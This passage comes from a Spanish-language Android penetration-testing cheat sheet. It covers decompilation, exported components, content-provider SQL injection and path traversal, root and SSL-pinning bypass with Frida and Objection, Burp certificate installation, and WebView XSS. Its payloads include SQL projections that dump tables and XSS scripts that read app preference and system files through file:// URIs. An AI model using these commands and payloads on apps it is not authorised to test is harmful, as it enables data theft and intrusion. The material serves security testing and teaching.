file app-decompiled/assets/index.android.bundle
app-decompiled/assets/index.android.bundle: React Native minified JavaScript, ASCII text

js-beautify app-decompiled/assets/index.android.bundle > output.js
```

## Lectura de código JavaScript compilado (Hermes)

```sh
apktool d application.apk -o app-decompiled

file app-decompiled/assets/index.android.bundle
app-decompiled/assets/index.android.bundle: Hermes JavaScript bytecode

# hermes-dec
./hbc_decompiler.py app-decompiled/assets/index.android.bundle output.js
```

## Herramientas

* [js-beautify](https://github.com/beautifier/js-beautify)
* [hermes-dec](https://github.com/P1sec/hermes-dec)


# Xamarin

## General

Las aplicaciones desarrolladas con Xamarin agrupan su código compilado en Dynamically Linked Libraries (.dll), las cuales pueden almacenarse en el directorio `app-decompiled/unknown/assemblies/` de forma independiente, comprimidas mediante LZ4 / XALZ o bien integradas conjuntamente en un archivo denominado `assemblies.blob`.

## Obtención de DLLs

```sh
apktool d application.apk -o app-decompiled
ls -l app-decompiled/unknown/assemblies/

file app-decompiled/unknown/assemblies/<file.dll>
     file.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
```

## Descompresión de DLLs (LZ4 / XALZ)

```sh
apktool d application.apk -o app-decompiled
ls -l app-decompiled/unknown/assemblies/

file app-decompiled/unknown/assemblies/<file.dll>
     file.dll: Sony PlayStation Audio
    
python Xamarin_XALZ_decompress.py app-decompiled/unknown/assemblies/<file.dll> file_decompressed.dll

file file_decompressed.dll
     file_decompressed.dll: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
```

## Obtención de DLLs desde archivo .blob

```sh
apktool d application.apk -o app-decompiled

ls -l app-decompiled/unknown/assemblies/
     assemblies.blob
     assemblies.manifest

file app-decompiled/unknown/assemblies/assemblies.blob
     assemblies.blob: Sony PlayStation Audio

pyxamstore unpack -d app-decompiled/unknown/assemblies/
ls -l out
```

## Herramientas

* [dnSpy](https://github.com/dnSpy/dnSpy)
* [ILSpy](https://github.com/icsharpcode/ILSpy) (Windows) / [AvaloniaILSpy](https://github.com/icsharpcode/AvaloniaILSpy) (Linux/Unix)
* [pyxamstore](https://github.com/jakev/pyxamstore)
* [Xamarin\_XALZ\_decompress.py](https://github.com/x41sec/tools/blob/master/Mobile/Xamarin/Xamarin_XALZ_decompress.py)


# Código nativo / bibliotecas compartidas

## General

```sh
apktool d application.apk -o app-decompiled
strings app-decompiled/lib/<arch>/<lib.so> | grep -E "[a-zA-Z0-9_-]{60,}"
```

## Herramientas

* [Ghidra](https://ghidra-sre.org/)
* [IDA](https://hex-rays.com/)
* [Radare2](https://rada.re/)


# Ofuscación / Desofuscación

## Ofuscación

* [ProGuard](https://github.com/Guardsquare/proguard)
* [DexGuard](https://www.guardsquare.com/dexguard)
* [LSParanoid](https://github.com/LSPosed/LSParanoid)

## Desofuscación

* [DeGuard](http://apk-deguard.com/)
* [Paranoid/LSParanoid](https://github.com/giacomoferretti/paranoid-deobfuscator)

```sh
apktool d application.apk -o app-decompiled
paranoid-deobfuscator -v deobfuscate app-decompiled
apktool b app-decompiled
jadx-gui app-decompiled/dist/application.apk
```


# Automatizado

Análisis estático automatizado

## APKscan

* <https://github.com/LucasFaudman/apkscan>

## AppSweep (Guardsquare)

* <https://appsweep.guardsquare.com/>

## Mobile Security Framework (MobSF)

* <https://github.com/MobSF/Mobile-Security-Framework-MobSF>

```shellscript
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -d -p 8000:8000 --name mobsf opensecurity/mobile-security-framework-mobsf:latest
```

## Pithus

* <https://beta.pithus.org/>

## Quick Android Review Kit (QARK)

* <https://github.com/linkedin/qark>

## TruffleHog

* <https://github.com/trufflesecurity/trufflehog>


# Análisis dinámico


# Activities

## Búsqueda de activities con exportación habilitada

```sh
# AndroidManifest.xml
## explícitamente
grep "<activity" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<activity" | grep --invert-match "android:exported=\"true\""

# Drozer
run app.activity.info -a <app-package-name>
```

## Iniciar activity con exportación habilitada

```sh
# Android Debug Bridge (adb)
adb shell am start <app-package-name>/.<activity-name>
adb shell am start "<data>" <app-package-name>/.<activity-name>
adb shell am start -d "<scheme>://<host>" <app-package-name>/.<activity-name>
adb shell am start –a <action> –c <category> <app-package-name>/.<activity-name>
adb shell am start -n <app-package-name>/.<activity-name> --es <parameter> <numerical-value> --es <parameter> "<string-value>"

# Objection
android hooking list activities
android intent launch_activity <activity-name>

# Drozer
run app.activity.start --component <app-package-name> <app-package-name>.<activity-name>
```


# Broadcast receivers

## Búsqueda de broadcast receivers con exportación habilitada

```sh
# AndroidManifest.xml
## explícitamente
grep "<receiver" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<receiver" | grep --invert-match "android:exported=\"true\""
```

## Interacción general con broadcast receivers

```sh
# Android Debug Bridge (adb)
adb shell am broadcast -a <action> --es <parameter> "<string-value>" --ei <parameter> <numerical-value>
adb shell am broadcast -a <action> -n <app-package-name>/.<broadcast-receiver> --es <parameter> "<string-value>" --ei <parameter> <numerical-value>

# Drozer
run app.broadcast.send --action <action> --component <app-package-name> <broadcast-receiver> --extra string <parameter> <numerical-value> --extra string <parameter> "<string-value>"
```


# Deep links

Obtener deep links.

* AndroidManifest.xml: activities con intents que incluyen la categoría "browsable".

```sh
# Drozer
run scanner.activity.browsable -a <app-package-name>

# Mango
show deeplinks
```

Iniciar deep link.

```sh
# Android Debug Bridge (adb)
adb shell am start -W "schema://host/path?parameter=value"
adb shell am start -a android.intent.action.VIEW -d "schema://host/path?parameter=value"
adb shell am start -n <app-package-name>/.<activity-name> -d "schema://host/path?parameter=value"

# Drozer
run app.activity.start --action android.intent.action.VIEW --data-uri schema://host/path?parameter=value

# Mango
deeplink schema://host/path?parameter=value
```

Iniciar deep link desde página web.

{% code title="index.html" %}

```html
<!DOCTYPE html>
<html lang="es">
    <head>
        <meta charset="utf-8" />
        <title>Deep link proof of concept</title>
    </head>
    <body>
        <h1><a href="schema://host/path">click here 1</a></h1>
        <h1><a href="intent://host/path#Intent;scheme=<scheme>;package=<app-package-name>;component=<activity-name>;end">click here 2</a></h1>        
    </body>
</html>
```

{% endcode %}


# Content providers

## Búsqueda de content providers con exportación habilitada

```sh
# AndroidManifest.xml
## explícitamente
grep "<provider" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<provider" | grep --invert-match "android:exported=\"true\""

# Drozer
run app.provider.info -a <app-package-name>
```

## Obtener URIs de content providers

```sh
# Drozer
run app.provider.finduri <app-package-name>
run scanner.provider.finduris -a <app-package-name>
```

## Interacción general con content providers

### Android Debug Bridge (adb) <a href="#interaccion-general-con-content-providers-adb" id="interaccion-general-con-content-providers-adb"></a>

```sh
# General
adb shell content <command> --uri <uri> <parameters>

# Select
adb shell content query --uri <uri>
adb shell content query --uri <uri> --projection <column-name>
adb shell content query --uri <uri> --where <column-name>=<column-value>
adb shell content query --uri <uri> --where "<column-name>=\'<column-value>\'"

# Insert
adb shell content insert --uri <uri> --bind <column-name>:<column-type>:<column-value>

# Delete
adb shell content delete --uri <uri>
adb shell content delete --uri <uri> --where <column-name>=<column-value>

# Update
adb shell content update --uri <uri> --bind <column-name>:<column-type>:<column-value> --where <column-name>=<column-value>

# Lectura de archivo
adb shell content read --uri <uri>/<file>

# Descarga de archivo 
adb shell content read --uri <uri>/<file> > <file>
```

### Drozer <a href="#interaccion-general-con-content-providers-drozer" id="interaccion-general-con-content-providers-drozer"></a>

```sh
# Select
run app.provider.query <uri>
run app.provider.query <uri> --projection <column-name>
run app.provider.query <uri> --selection <column-name>=<column-value>
run app.provider.query <uri> --selection <column-name>=\'<column-value>\'

# Insert
run app.provider.insert <uri> --<column-type> <column-name> <column-value>
run app.provider.insert <uri> --string <column-name> <column-value> --integer <column-name> <column-value>

# Delete
run app.provider.delete <uri>
run app.provider.delete <uri> --selection <column-name>=<column-value>
run app.provider.delete <uri> --selection <column-name>=\'<column-value>\'

# Update
run app.provider.update <uri> --selection <column-name>=<column-value> --<column-type> <column-name> <column-value>

# Lectura de archivo
run app.provider.read <uri>/<file>

# Descarga de archivo
run app.provider.download <uri>/<file> .
```

## SQL injection (SQLi)

Identificación de SQLi.

```sh
# Android Debug Bridge (adb)
adb shell content query --uri <uri> --projection "\'"

# Drozer 
run scanner.provider.injection -a <app-package-name>
run app.provider.query <uri> --projection "'"
run app.provider.query <uri> --selection "'"
```

Enumeración de tablas.

```sh
# Android Debug Bridge (adb)
adb shell content query --uri <uri> --projection "*\ FROM\ SQLITE_MASTER\ WHERE\ type=\'table\'\;--"

# Drozer
run scanner.provider.sqltables -a <app-package-name>
run app.provider.query <uri> --projection "* FROM SQLITE_MASTER WHERE type='table';--"
```

Obtención de datos de una tabla.

```sh
# Android Debug Bridge (adb)
adb shell content query --uri <uri> --projection "*\ FROM\ <table>\;--"

# Drozer
run app.provider.query <uri> --projection "* FROM <table>;--"
```

## Path traversal

Identificación de path traversal.

```sh
# Drozer
run scanner.provider.traversal -a <app-package-name>
```

Lectura de archivo.

```sh
# Android Debug Bridge (adb)
adb shell content read --uri <uri>/<file>
adb shell content read --uri <uri>/../../../<file>
adb shell content read --uri <uri>/../../../etc/hosts

# Drozer
run app.provider.read <uri>/<file>
run app.provider.read <uri>/../../../<file>
run app.provider.read <uri>/../../../etc/hosts
```


# Services

## Búsqueda de services con exportación habilitada

```sh
# AndroidManifest.xml
## explícitamente
grep "<service" app-decompiled/AndroidManifest.xml | grep "android:exported=\"true\""
## implícitamente
grep "<intent-filter" -B 1 app-decompiled/AndroidManifest.xml | grep "<service" | grep --invert-match "android:exported=\"true\""

# Drozer
run app.service.info -a <app-package-name>
```

## Interacción general con services

```sh
# Android Debug Bridge (adb)
adb shell am startservice <app-package-name>/.<service>
adb shell am startservice -n <app-package-name>/.<service> -e <parameter> "<string-value>"

# Drozer
run app.service.send <app-package-name> <app-package-name>.<service> --msg <what> <arg1> <arg2>
```


# Anti-root

## Bypass de anti-root

### Frida

```shell
# Utilizando script
frida -U -f <app-package-name> -l <script.js> --no-pause

# Utilizando Frida CodeShare
frida -U -f <app-package-name> --codeshare <path-script> --no-pause
## dzonerzy/fridantiroot
frida -U -f <app-package-name> --codeshare dzonerzy/fridantiroot --no-pause
```

### Objection

```shell
objection --gadget <app-package-name> explore --startup-command "android root disable"
```


# Captura de tráfico de red

1\) Todas las solicitudes (request) emitidas por la aplicación móvil deben realizarse utilizando HTTPS (Hypertext Transfer Protocol Secure).

2\) La aplicación móvil debe validar si el certificado está firmado por una autoridad de certificación (CA) de "confianza".

* Realizar captura de tráfico de red sin instalar certificado de Burp Suite en el dispositivo móvil.

3\) La aplicación móvil debe validar el hostname del certificado.

* Instalar certificado de Burp Suite en el dispositivo móvil.
* Burp Suite -> Proxy -> Options -> Certificate -> Generate a CA-signed certificate with a specific host name -> `stealtraffic.com`
* Realizar captura de tráfico de red.


# Burp Suite

## Instalación de certificado CA de usuario en dispositivo Android <a href="#instalacion-de-certificado-ca-de-confianza-de-usuario-en-dispositivo-android" id="instalacion-de-certificado-ca-de-confianza-de-usuario-en-dispositivo-android"></a>

### Instalación desde GUI (automática)

1\) Exportar certificado desde Burp Suite.

* Burp Suite -> Proxy -> Proxy settings -> Proxy listeners -> Import / export CA certificate

![Seleccionar opción "Certificate in DER format"](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FA3zzUMhzDw7jOqwND0st%2Fburp-suite-import-export-ca-certificate.png?alt=media\&token=bd3125d7-33ab-4e26-8232-f5b9df83be1e)

2\) Guardar certificado con nombre `cacert.der`.

![](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FIl6KFEJUrs2xdBESewhe%2Fburp-suite-import-export-ca-certificate-save.png?alt=media\&token=0c686aa8-c478-4f8b-a312-c6b506d40e3a)

3\) Cambiar extensión al certificado exportado de `.der` a `.cer`.

```shell
cd ~/Downloads
mv cacert.der cacert.cer
```

4\) Transferir certificado al dispositivo.

```shell
adb push cacert.cer /sdcard/Download/
```

5\) Instalación de certificado en el dispositivo.

Dispostivos Samsung:

* Ajustes -> Datos biométricos y seguridad -> Otros ajustes de seguridad -> Instalar desde almacenamiento

Dispositivos Xiaomi:

* Configuración -> Contraseñas y seguridad -> Privacidad -> Encriptación y credenciales -> Instalar desde la tarjeta SD

Dispositivos Nexus:

* Settings -> Security -> Install from SD card

Genymotion:

* Setting -> Security -> Encryption & credentials -> Install from SD card

Android Studio:

* Settings -> Security -> Encryption & credentials -> Install a certificate (Install certificates from SD card)

![](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2Fxo7yW2n6RNmZomUALvoV%2Finstalacion-certificado-ca-de-confianza-a-nivel-de-usuario.png?alt=media\&token=f52d1862-02c5-4af7-9538-ad18f6256b98)

6\) Reiniciar el dispositivo.

```shell
adb reboot
```

7\) Verificación de instalación del certificado CA de usuario mediante línea de comandos.

```shell
adb shell "su -c ls -la /data/misc/user/0/cacerts-added/"
```

8\) Verificación de certificado CA de usuario desde GUI.

![](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FmdEJ3dwso0smt1ydsFIh%2Fcertificado-ca-de-confianza-a-nivel-de-usuario.png?alt=media\&token=831c7246-b77d-482c-aa20-3b4a473a4dfc)

Dispostivos Samsung:

* Ajustes -> Datos biométricos y seguridad -> Otros ajustes de seguridad -> Ver certificados de seguridad

Dispositivos Xiaomi:

* Configuración -> Contraseñas y seguridad -> Privacidad -> Encriptación y credenciales -> Credenciales de confianza -> Usuario

Dispositivos Nexus:

* Settings -> Security -> Trusted credentials

Genymotion:

* Setting -> Security -> Encryption & credentials -> Trusted credentials

Android Studio:

* Settings -> Security -> Encryption & credentials -> Trusted credentials

### Instalación desde línea de comandos (manual)

1\) Exportar certificado desde Burp Suite.

* Burp Suite -> Proxy -> Proxy settings -> Proxy listeners -> Import / export CA certificate

![Seleccionar opción "Certificate in DER format"](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FA3zzUMhzDw7jOqwND0st%2Fburp-suite-import-export-ca-certificate.png?alt=media\&token=bd3125d7-33ab-4e26-8232-f5b9df83be1e)

2\) Guardar certificado con nombre `cacert.der`.

![](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FIl6KFEJUrs2xdBESewhe%2Fburp-suite-import-export-ca-certificate-save.png?alt=media\&token=0c686aa8-c478-4f8b-a312-c6b506d40e3a)

3\) Convertir certificado exportado de formato DER a formato PEM.

```shell
cd ~/Downloads
openssl x509 -inform DER -in cacert.der -out cacert.pem
```

4\) Obtención de "subject hash old" del certificado en formato PEM.

* Subject hash old = `9a5ba575`

```shell
openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1
```

5\) Cambiar nombre de certificado a su "subject hash old" concatenado con ".0", es decir,  `[subject-hash-old].0`.

* Nombre certificado = `cacert.pem`
* Subject hash old = `9a5ba575`
* Nombre final certificado = `9a5ba575.0`

```shell
mv cacert.pem 9a5ba575.0
```

6\) Transferir y configurar certificado en el dispositivo.

```shell
adb push 9a5ba575.0 /sdcard/
adb shell
su
mv /sdcard/9a5ba575.0 /data/misc/user/0/cacerts-added/
chmod 644 /data/misc/user/0/cacerts-added/9a5ba575.0
chgrp everybody /data/misc/user/0/cacerts-added/9a5ba575.0
chown system /data/misc/user/0/cacerts-added/9a5ba575.0
```

7\) Verificación de instalación del certificado CA de usuario mediante línea de comandos.

```shell
adb shell "su -c ls -la /data/misc/user/0/cacerts-added/"
```

8\) Verificación de instalación del certificado CA de usuario desde GUI.

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FmdEJ3dwso0smt1ydsFIh%2Fcertificado-ca-de-confianza-a-nivel-de-usuario.png?alt=media&amp;token=831c7246-b77d-482c-aa20-3b4a473a4dfc" alt=""><figcaption></figcaption></figure>

Dispostivos Samsung:

* Ajustes -> Datos biométricos y seguridad -> Otros ajustes de seguridad -> Ver certificados de seguridad

Dispositivos Xiaomi:

* Configuración -> Contraseñas y seguridad -> Privacidad -> Encriptación y credenciales -> Credenciales de confianza -> Usuario

Dispositivos Nexus:

* Settings -> Security -> Trusted credentials

Genymotion:

* Setting -> Security -> Encryption & credentials -> Trusted credentials

Android Studio:

* Settings -> Security -> Encryption & credentials -> Trusted credentials

## Instalación de certificado CA de sistema en dispositivo Android <a href="#instalacion-de-certificado-ca-de-confianza-de-sistema-en-dispositivo-android" id="instalacion-de-certificado-ca-de-confianza-de-sistema-en-dispositivo-android"></a>

1\) Exportar certificado desde Burp Suite.

* Burp Suite -> Proxy -> Proxy settings -> Proxy listeners -> Import / export CA certificate

![Seleccionar opción "Certificate in DER format"](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FA3zzUMhzDw7jOqwND0st%2Fburp-suite-import-export-ca-certificate.png?alt=media\&token=bd3125d7-33ab-4e26-8232-f5b9df83be1e)

2\) Guardar certificado con nombre `cacert.der`.

![](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FIl6KFEJUrs2xdBESewhe%2Fburp-suite-import-export-ca-certificate-save.png?alt=media\&token=0c686aa8-c478-4f8b-a312-c6b506d40e3a)

3\) Convertir certificado exportado de formato DER a formato PEM.

```shell
cd ~/Downloads
openssl x509 -inform DER -in cacert.der -out cacert.pem
```

4\) Obtención de "subject hash old" del certificado en formato PEM.

* Subject hash old = `9a5ba575`

```shell
openssl x509 -inform PEM -subject_hash_old -in cacert.pem | head -1
```

5\) Cambiar nombre de certificado a su "subject hash old" concatenado con ".0", es decir,  `[subject-hash-old].0`.

* Nombre certificado = `cacert.pem`
* Subject hash old = `9a5ba575`
* Nombre final certificado = `9a5ba575.0`

```shell
mv cacert.pem 9a5ba575.0
```

6\) Transferir y configurar certificado en el dispositivo.

Opción 1:

```shell
adb root
adb remount
adb push 9a5ba575.0 /sdcard/
adb shell
mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/9a5ba575.0
chgrp root /system/etc/security/cacerts/9a5ba575.0
```

Opción 2:

```shell
adb push 9a5ba575.0 /sdcard/
adb shell
su
mount -o rw,remount /
mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/9a5ba575.0
chgrp root /system/etc/security/cacerts/9a5ba575.0
mount -o ro,remount /
```

Opción 3 (directorio `/system` sin permisos de escritura):

```sh
adb push 9a5ba575.0 /sdcard/
adb shell
su
mkdir -p -m 700 /data/local/tmp/ca-copy
mv /sdcard/9a5ba575.0 /data/local/tmp/ca-copy/
cp /system/etc/security/cacerts/* /data/local/tmp/ca-copy/
mount -t tmpfs tmpfs /system/etc/security/cacerts
mv /data/local/tmp/ca-copy/* /system/etc/security/cacerts/
chown root:root /system/etc/security/cacerts/*
chmod 644 /system/etc/security/cacerts/*
chcon u:object_r:system_file:s0 /system/etc/security/cacerts/*
rm -r /data/local/tmp/ca-copy
```

Opción 4 (Android Studio en Windows):

```shell
# Listado de nombres de dispositivos emulados
cd C:\Users\<user>\AppData\Local\Android\Sdk\emulator
.\emulator.exe -list-avds

# Inicio de dispositivo emulado con opción de escritura
.\emulator.exe -avd <emulated-device-name> -writable-system

# Transferencia y configuración de certificado en el dispositivo emulado
.\adb.exe root
.\adb.exe remount
.\adb.exe push 9a5ba575.0 /sdcard/
.\adb.exe shell
mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/9a5ba575.0
chgrp root /system/etc/security/cacerts/9a5ba575.0
```

Opción 5 (Android Studio en Windows):

```shell
# Listado de nombres de dispositivos emulados
cd C:\Users\<user>\AppData\Local\Android\Sdk\emulator
.\emulator.exe -list-avds

# Inicio de dispositivo emulado con opción de escritura
.\emulator.exe -avd <emulated-device-name> -writable-system -no-snapshot-load

# Configuración necesaria para evitar que emulador se “congele”
.\adb.exe root
.\adb.exe shell avbctl disable-verification
.\adb.exe reboot

# Transferencia y configuración de certificado en el dispositivo emulado
.\adb.exe root
.\adb.exe remount
.\adb.exe push 9a5ba575.0 /sdcard/
.\adb.exe shell
mv /sdcard/9a5ba575.0 /system/etc/security/cacerts/
chmod 644 /system/etc/security/cacerts/9a5ba575.0
chgrp root /system/etc/security/cacerts/9a5ba575.0
```

{% hint style="info" %}
Recuerda que siempre se deberá iniciar el dispositivo emulado de Android Studio con la opción `-writable-system`.
{% endhint %}

7\) Verificación de instalación del certificado CA de sistema mediante línea de comandos.

```shell
adb shell "su -c ls -la /system/etc/security/cacerts/9a5ba575.0"
```

8\) Verificación de instalación del certificado CA de sistema desde GUI.

![](https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FajgCIoqhE6xlifPRHUxL%2Fcertificado-ca-de-confianza-a-nivel-de-sistema.jpg?alt=media\&token=3f287d74-a3a8-4eec-8792-dc4b585c26fc)

Dispostivos Samsung:

* Ajustes -> Datos biométricos y seguridad -> Otros ajustes de seguridad -> Ver certificados de seguridad

Dispositivos Xiaomi:

* Configuración -> Contraseñas y seguridad -> Privacidad -> Encriptación y credenciales -> Credenciales de confianza

Dispositivos Nexus:

* Settings -> Security -> Trusted credentials

Genymotion:

* Setting -> Security -> Encryption & credentials -> Trusted credentials

Android Studio:

* Settings -> Security -> Encryption & credentials -> Trusted credentials


# SSL Pinning

## Frida

* [Frida Mobile Interception Scripts (HTTP Toolkit)](https://github.com/httptoolkit/frida-interception-and-unpinning)

## Objection

```shell
android sslpinning disable
```

## Flutter

### ProxyDroid + Frida

* Burp Suite -> Proxy -> Proxy settings -> Proxy listeners -> Edit
  * Bind to port: 8080
  * Bind to address: All interfaces
  * Request handling -> Support invisible proxying

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FIU5Dh5GNyZha0CjQwUjI%2Fburp-suite-edit-proxy-listener-binding.png?alt=media&amp;token=6f0466ce-0bdb-44ad-a44a-100f9a870ba9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FYGVIvsqqwK8zqwf3qAyI%2Fburp-suite-edit-proxy-listener-request-handling.png?alt=media&amp;token=08636112-6e7c-46c1-94ec-15b075b665c2" alt=""><figcaption><p>Activar opción "Support invisible proxying"</p></figcaption></figure>

* [ProxyDroid](https://play.google.com/store/apps/details?id=org.proxydroid)
  * Host: IP Burp Suite
  * Port: 8080
  * Proxy Type: HTTP
  * Global Proxy: on / activated
* [disable-flutter-tls.js](https://github.com/NVISOsecurity/disable-flutter-tls-verification/blob/main/disable-flutter-tls.js)

```sh
frida -U -f <app-package-name> -l disable-flutter-tls.js
frida -H <device-IP-address> -f <app-package-name> -l disable-flutter-tls.js
```

### reFlutter

* Burp Suite -> Proxy -> Proxy settings -> Proxy listeners -> Edit
  * Bind to port: 8083
  * Bind to address: Specific address
  * Request handling -> Support invisible proxying

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FCPPybuSDSduxIfJorsRd%2Fburp-suite-edit-proxy-listener-binding-specific-address.png?alt=media&amp;token=4b13c463-53b2-4356-95df-e7ce3cc2be76" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4246376570-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FwMoluillTs3tmwBLdFuL%2Fuploads%2FYGVIvsqqwK8zqwf3qAyI%2Fburp-suite-edit-proxy-listener-request-handling.png?alt=media&amp;token=08636112-6e7c-46c1-94ec-15b075b665c2" alt=""><figcaption><p>Activar opción "Support invisible proxying"</p></figcaption></figure>

* [reFlutter](https://github.com/Impact-I/reFlutter)

```sh
reflutter application.apk
java -jar uber-apk-signer.jar --allowResign -a release.RE.apk
adb install release.RE-aligned-debugSigned.apk
```


# Almacenamiento de datos

## Internal storage

```sh
# Internal storage
/data/data/<app-package-name>/

# SharedPreferences
/data/data/<app-package-name>/shared_prefs/

# Bases de datos
/data/data/<app-package-name>/databases/
```

## External storage

```sh
# External storage
/sdcard/Android/data/<app-package-name>/

# SD card
/storage/emulated/0
/mnt/sdcard
/sdcard
```


# SD card

## General

Los archivos guardados en almacenamiento externo, como "SD card", son susceptibles de ser leídos y modificados de manera global por cualquier aplicación móvil. Debido a la capacidad inherente de cualquier aplicación para alterar el contenido de dicho almacenamiento externo, se desaconseja el uso de este medio para almacenar información confidencial. Como con cualquier dato proveniente de fuentes no confiables, es imperativo llevar a cabo un riguroso proceso de validación de entrada al manipular datos procedentes de almacenamiento externo. Además, es relevante destacar que la "SD card" suele ser extraíble sin requerir el desbloqueo del dispositivo.

## Directorio

```sh
# External storage
/storage/emulated/0
/mnt/sdcard
/sdcard

# App-specific external storage
/sdcard/Android/data/<app-package-name>
```


# SharedPreferences

## Directorio <a href="#principales-directorios-y-archivos" id="principales-directorios-y-archivos"></a>

```shell
/data/data/<app-package-name>/shared_prefs/
```


# Bases de datos

## Directorio <a href="#principales-directorios-y-archivos" id="principales-directorios-y-archivos"></a>

```shell
/data/data/<app-package-name>/databases/
```


# Logs

Cada registro tiene una prioridad verbose (V), debug (D), info (I), warning (W), error (E) y fatal (F), una etiqueta que identifica el origen del registro y el mensaje de registro real.

## Logcat

Identificación de PID de una aplicación.

```shell
adb shell pm list packages
adb shell ps | grep <app-package-name>
```

Visualización de logs de una aplicación.

```bash
adb logcat --pid <PID> -v color
adb logcat --pid $(adb shell ps | grep <app-package-name> | awk '{print $2}') -v color
adb logcat --pid <PID> -v color -v raw
```

Visualización de logs de una aplicación por etiqueta y prioridad.

```shell
adb logcat --pid <PID> -v color *:S <tag>:<priority>
```

* \*:S = suprimir toda la salida.
* \<tag> = etiqueta que identifica el origen del registro.
* \<priority> = verbose (V), debug (D), info (I), warning (W), error (E) y fatal (F).

## PID Cat

Visualización de logs de una aplicación.

```shell
pidcat <app-package-name>
```

Visualización de logs de una aplicación por etiqueta(s).

```shell
pidcat <app-package-name> -t <tag>
```

* -t = tag/etiqueta.
  * \<tag> = etiqueta que identifica el origen del registro.

Visualización de logs de una aplicación ignorando etiqueta(s).

```shell
pidcat <app-package-name> -i <tag>
```

* -i = ignorar tag/etiqueta.
  * \<tag> = etiqueta que identifica el origen del registro que deseamos ignorar.


# WebViews

## Android Debug Bridge (adb)

```sh
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es <parameter> "<string-value>"
adb shell am start -n <app-package-name>/.<webview-activity-name> -a android.intent.action.VIEW --es url "https://example.com/"
```

## Funciones potencialmente explotables

```java
loadUrl()
setJavaScriptEnabled()
addJavascriptInterface()
setAllowContentAccess()
setAllowFileAccess()
setAllowFileAccessFromFileURLs()
setAllowUniversalAccessFromFileURLs()
loadData()
postUrl()
saveState()
```

## Cross-site scripting (XSS)

### Payloads <a href="#cross-site-scripting-xss-payloads" id="cross-site-scripting-xss-payloads"></a>

```html
<script>alert(0)</script>
<script>alert('XSS');</script>
<script>alert(location)</script>
<img src=noexiste onerror=alert(0)>
<img src="noexiste" onerror="alert('XSS')">
```

* [common-xss-payloads.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/common-xss-payloads.txt)

### Lectura de archivos de la aplicación <a href="#cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion" id="cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///data/data/<app-package-name>/shared_prefs/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
```

### Lectura de archivos del sistema <a href="#cross-site-scripting-xss-lectura-de-archivos-del-sistema" id="cross-site-scripting-xss-lectura-de-archivos-del-sistema"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///system/etc/hosts",false);XHR.send();alert(XHR.responseText);</script>
```

### Lectura de archivos de la aplicación desde SD card <a href="#cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion-desde-sd-card" id="cross-site-scripting-xss-lectura-de-archivos-de-la-aplicacion-desde-sd-card"></a>

```html
<script>XHR=new XMLHttpRequest();XHR.open("GET","file:///storage/emulated/0/Android/data/<app-package-name>/files/<file-name>",false);XHR.send();alert(XHR.responseText);</script>
```

### Ejecución de payload desde recurso externo <a href="#cross-site-scripting-xss-ejecucion-de-payload-desde-recurso-externo" id="cross-site-scripting-xss-ejecucion-de-payload-desde-recurso-externo"></a>

Creación de archivo JavaScript con payload a ejecutar.

{% code title="xss.js" %}

```javascript
alert(0)
```

{% endcode %}

